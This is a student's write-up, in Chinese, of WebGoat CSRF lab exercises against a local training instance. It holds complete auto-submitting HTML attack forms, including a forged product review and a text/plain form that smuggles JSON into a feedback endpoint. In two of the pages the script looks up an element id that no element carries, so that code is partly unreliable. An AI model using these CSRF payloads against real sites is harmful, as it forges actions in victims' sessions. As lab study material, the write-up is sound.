WebGoat的CSRF实验(简单版)
A3:基本的CSRF攻击,通过自动提交表单来获取flag
我的WebGoat地址是http://127.0.0.1:8080/WebGoat,根据实际情况替换。
1.首先,找出action
在WebGoatd的题目界面(CSRF)通过F12,打开开发者工具,在上方找到元素这一栏。快捷键ctrl+F,输入action,上下翻找。找到隐藏的表单

然后编写脚本:(attack1.html,直接保存在桌面上,不是txt文件,可以先创建txt文件把代码复制完后再把后缀改成.html的,如原来的attack1.txt,改成attack1.html)
<!DOCTYPE html> <html> <body> <form action="http://127.0.0.1:8080/WebGoat/csrf/basic-get-flag" method="POST" target="_blank"> <input type="hidden" name="csrf" value="false"> </form> <script> document.getElementById('csrf').submit(); </script> </body> </html>
先确保浏览器打开了webgoat,在桌面点击attack1.html
或者先在脚本存放目录下启动http服务
python -m http.server 8000
然后在浏览器最上面的导航栏输入:http://localhost:8000/attack1.html
会给出flag

复制提交即可
A4:CSRF攻击提交评论,需要正确的参数和验证值(validateReq)
构造脚本,触发POST请求即可
老样子,先找到对应的action,为后续的CRSF攻击提供相应的参数,方便构造脚本

构造相应文本:(attack2.html)(第一个input 里的value可以修改成你的学号或者名字,相当于评论的内容。)
<!DOCTYPE html> <html> <body> <form action="http://127.0.0.1:8080/WebGoat/csrf/review" method="POST" target="_blank"> <input type="hidden" name="reviewText" value="I am 8208231122 .This app is so insecure, I didn't even post this review, can you pull that off too?"> <input type="hidden" name="stars" value="1"> <input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9"> </form> <script> document.getElementById('csrf').submit(); </script> </body> </html>先确保浏览器打开了webgoat,然后在桌面点击attack1.html
或者在浏览器打开:http://localhost:8000/attack1.html
(点击后可能跳到登录界面,这时候登录,然后再次点击)

出现这个界面就是成功啦。
在评论区可以看到输出了我想输出的内容(看不到的可以多刷新几次):"I am 8208231122 .This app is so insecure, I didn't even post this review, can you pull that off too?"并且显示的是1星。(This app is so insecure, I didn't even post this review, can you pull that off too?这一句是我之前html里写的,为了体现特殊性我加入了我的学号8208231122)。

A7:利用CSRF发送反馈,通过构造特殊的name和value来形成合法的JSON数据
这道题目,最简单的办法,先在桌面创建a.html并保存(在记事本中编辑完记得保存,如何创建请参考文章A3部分)。在确保webgoat打开的情况下,在桌面点击a.html,这时候会跳到登录界面,登录即可,再次在桌面点击a.html(代码构造过程也是先找到题目对应的action,找到相关参数,和前两题一样)
<form name="attack" enctype="text/plain" action="http://127.0.0.1:8080/WebGoat/csrf/feedback/message" METHOD="POST"> <input type="hidden" name='{"name": "WebGoat", "email": "[email protected]", "subject": "service", "message":"'value='WebGoat is the best!!"}'> </form> <script>document.attack.submit();</script> 出现flag,复制粘贴即可

ps:你也可以用webwolf

1.用到webwolf,点击右上角的小狼图标,先打开webwolf。
打不开的可以先把docker容器关了,运行 docker run -d -p 8080:8080 -p 9090:9090 --name webgoat webgoat/webgoat,然后访问http://127.0.0.1:9090/WebWolf。如果有命名冲突,可以打开docker桌面版,把冲突容器删除,也可以通过命令行来删除:
# 查看当前运行中的容器
docker ps -a
# 停止 WebGoat 容器
docker stop webgoat
# 删除 WebGoat 容器(推荐)
docker rm webgoat
还不行就把docker ps -a输出结果中的CONTAINER ID(如a1b2c3d4e5f6)
# 再删除容器
docker rm a1b2c3d4e5f6
2.在桌面编写a.html,并保存(在记事本中编辑完记得保存,如何创建请参考文章A3部分)
<form name="attack" enctype="text/plain" action="http://127.0.0.1:8080/WebGoat/csrf/feedback/message" METHOD="POST"> <input type="hidden" name='{"name": "WebGoat", "email": "[email protected]", "subject": "service", "message":"'value='WebGoat is the best!!"}'> </form> <script>document.attack.submit();</script>
通过webwolf上传:在最上面那一栏点击Files,在点击选择文件,找到a.html,点击打开

然后点击Upload files,可以看到a.htnl已经被上传到webwolf了

点击a.html,会出现以下界面,复制粘贴flag即可

A8:利用两个账户(admin和csrf-admin)来演示CSRF攻击的影响
需要打开两个webgoat的标签页,第一个标签页登录你的账号假如是admin,在第二个标签页创建并登录一个名为csrf-admin的账户。最后再返回第一个标签页(如果需要重新登录,就登录admin),回到原来的题目界面,点击Saved!

That's all。很不容易,一开始我只知道CSRF的概念,却不知道怎么去解决webgoat上的题,前两道都是自己构造html,需要用到的参数也可以在源代码找到(无力扶墙,原来是通过action来找);第三道最离谱,我开始写的html文件甚至都没有返回flag( 我用了no-cors,客户端看不到服务器响应),就显示通过了(题号变绿了),本想就此放弃,奈何实验报告肯定要用到flag,只好重新写······还好最后一题很简单,没费什么功夫就拿下了。这个实验更好用的办法是Burp Suite,奈何我太懒了还没学会🥲
希望web考试能和这次实验一样,顺利过关。